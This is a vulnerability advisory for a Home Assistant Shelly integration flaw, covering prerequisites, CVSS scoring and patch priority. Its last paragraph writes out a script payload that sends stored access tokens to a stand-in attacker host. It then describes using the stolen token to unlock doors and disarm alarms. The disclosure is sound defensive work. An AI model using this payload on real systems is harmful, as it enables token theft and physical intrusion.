Home Assistant Core EUVD-2026-46280

The attacker must control a Shelly device - by owning one, compromising its firmware or local API credentials, or supplying a rogue device - that is already added to the target's Home Assistant instance as an integrated entity. The attacker must be able to write to the thumb configuration field of that device and set it to an arbitrary data: URI with a text/html content type. A Home Assistant user with an active authenticated session must then load a page that causes the HA frontend to render the Shelly media player thumbnail, triggering the proxy endpoint (UI:A). Exploitation is specifically limited by: (1) mandatory attacker control of an already-integrated Shelly device; (2) user interaction to trigger the vulnerable proxy call; (3) the HA instance must have the Shelly integration enabled with at least one media player entity configured. Instances without any Shelly integration are not affected. No Home Assistant account credentials are required by the attacker - they exploit the victim's existing session. The CVSS 4.0 vector PR:N reflects that no HA-level privileges are needed, but the Shelly device prerequisite is a substantial real-world barrier.

The CVSS 4.0 score of 2.1 accurately reflects the real-world exploitation difficulty: high attack complexity (AC:H) requires the attacker to have pre-existing control over a Shelly device integrated into the target's HA instance, and active user interaction (UI:A) is required to trigger the proxy endpoint. The vulnerable system itself (the Shelly integration) experiences no confidentiality, integrity, or availability impact (VC:N/VI:N/VA:N); the harm manifests entirely in the subsequent system (the HA web origin, SC:L/SI:L). Despite the low score, the downstream consequence is meaningful in a physical security context - authenticated API calls to lock, alarm, and cover endpoints represent real-world intrusion risk. No EPSS score was provided in the source data, no CISA KEV listing exists, and no proof-of-concept has been publicly identified, all of which support treating real-world exploitation probability as low. This is not a high-priority enterprise patch priority, but HA users who run Shelly devices in security-critical roles (door locks, alarm panels) should prioritize the upgrade. The CVSS signal and description are consistent - no conflicting data detected.

An attacker with control over a Shelly device already integrated into the victim's Home Assistant instance sets the device's thumb field to a data:text/html,<script>document.location='https://attacker.example/steal?t='+encodeURIComponent(localStorage.getItem('hassTokens'))</script> payload via the Shelly device's local API or management interface. When a logged-in HA user navigates to any dashboard panel rendering that Shelly entity's media player card, the HA backend proxies the thumb URI and delivers it to the user's browser with Content-Type: text/html scoped to the HA origin. The script executes, exfiltrates the HA long-lived access token, and the attacker uses it to call /api/services/lock/unlock or /api/services/alarm_control_panel/disarm without further interaction. No public proof-of-concept has been identified at time of analysis.